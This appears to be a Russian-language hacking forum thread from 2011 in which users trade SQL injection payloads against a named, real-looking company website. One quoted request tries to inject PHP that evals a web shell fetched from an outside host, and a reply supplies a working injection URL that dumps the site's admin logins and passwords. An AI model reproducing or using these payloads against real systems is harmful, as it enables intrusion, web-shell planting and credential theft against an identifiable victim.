15.05.2011, 04:25
|
|
Новичок
Регистрация: 13.05.2011
Сообщений: 1
С нами:
7895126
Репутация:
1
|
|
Сообщение от o'clock
Код:
Warning: parse_url(/item.php?act=-1%27%20UNION%20SELECT%201,2,3,%27%3C?php%20eval(file_get_contents(%27http://smile.h19.ru/wso2.php%27));) [function.parse-url]: Unable to parse url in /var/www/vhosts/sko-lotos.com/httpdocs/lib/xajax.inc.php on line 630
Почему выскакивает такая штука, и как это обойти? Спасибо.
Вот запрос:
Код:
http://www.sko-lotos.com/item.php?act=-1%27%20UNION%20SELECT%201,2,3,%27%3C?php%20eval%28file_get_contents%28%27http://smile.h19.ru/wso2.php%27%29%29;
о0, хакер, ты не мог бы объяснить мне этот запрос?
union select ''
Во-первых, там нет прав, если ты планировал залить результаты выборки(читай твой зло-код эвала) селекта в файл. К томуже, твоя конструкция(без outfile, etc) ни к чему бы и не привела=/
Во-вторых, где ты там скулю увидел?
В-третьих, вот скуля с выводом, логин и пасс одмино.
Код:
http://www.sko-lotos.com/catalog.php?id=381'and(0)union select 1,concat_ws(0x3b, name, password),3,4,5,6,7 from users-- -
|
|
|